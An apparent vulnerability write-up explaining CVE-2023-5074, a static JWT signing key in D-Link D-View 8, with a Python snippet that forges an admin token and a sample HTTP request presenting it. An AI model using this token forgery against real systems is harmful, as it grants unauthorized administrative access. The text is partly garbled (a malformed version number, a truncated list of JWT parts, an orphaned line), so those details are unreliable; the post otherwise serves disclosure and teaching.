In late 2023, a significant security issue, CVE-2023-5074, was identified in D-Link's D-View 8 network management platform, version 2..1.28. The flaw arose from the use of a static key for signing JSON Web Tokens (JWTs) used in user authentication. This simple, but dangerous, mistake opened the door for attackers to bypass authentication and gain unauthorized access.

This post breaks down the vulnerability, explains its implications in clear language, provides example exploits, and links to key resources.

The Issue: Static JWT Secret

JWTs (JSON Web Tokens) are widely used to represent user identity and permissions. JWTs have three parts:

Signature

Typically, the signature ensures the JWT is genuine, because only the server knows the secret key used to sign it.

In D-View 8 v2..1.28, however, the JWT secret key is hard-coded (static) in the application code. That means, for every installation worldwide, the secret is the same! Anyone who discovers or guesses this static secret can forge their own JWT tokens—essentially pretending to be any user, even an admin.

Escalate privileges, potentially compromising the whole network

Imagine leaving a single key under the doormat at every house in town—the day that key design leaks, all houses are in danger!

1. Finding the Static Key

Analysts extracted the application files or monitored network traffic during login. In D-Link D-View 8 v2..1.28, the key was found, for example, in the source code (sometimes as "JWT_SECRET" or "dlinkDview8SecretKey"):

// Example from reverse-engineered source
const JWT_SECRET = "dview8_super_secret_static_key";

With the secret, attackers can now *sign* their own tokens.

2. Crafting a JWT Token

Using any JWT library (Python, Node.js, etc.), attackers generate a token, e.g., for the admin account:

import jwt

jwt_secret = "dview8_super_secret_static_key"
payload = {
    "username": "admin",
    "role": "admin",
    "exp": 9999999999  # Expiry far in the future
}

token = jwt.encode(payload, jwt_secret, algorithm="HS256")
print("JWT Token:", token)

This produces a legitimate token that D-View 8 will trust.

Armed with this forged token, the attacker simply adds it to the HTTP Authorization header

GET /dview8/admin/dashboard HTTP/1.1
Host: target-dview8-server
Authorization: Bearer eyJhbGciOi... (forged token)

D-View 8 sees the token, verifies the signature (which matches the known secret), and allows the attacker access—without needing to know any real password!

Video Demo

*(For illustration, a demonstration video by a researcher showing the exact attack is available here: YouTube - D-Link D-View 8 JWT Static Key Vulnerability)*

References & Resources

- Original CVE Record (NVD)
- D-Link D-View 8 Product Page
- JWT Exploitation Techniques
- Python JWT Documentation

Conclusion

CVE-2023-5074 teaches an important lesson: *Static secrets are dangerous, especially in authentication systems.* If you work with JWTs or any kind of token-based authentication, randomize your secrets, keep them confidential, and never re-use them per customer or installation.

D-Link's D-View 8 flaw was quickly fixed, but similar mistakes can lurk in many products. Stay updated, and always review the basic security hygiene in both code and deployed products.


*Exclusive writeup by an independent researcher, June 2024.*

Timeline

Published on: 09/20/2023 16:15:00 UTC
Last modified on: 09/22/2023 17:57:00 UTC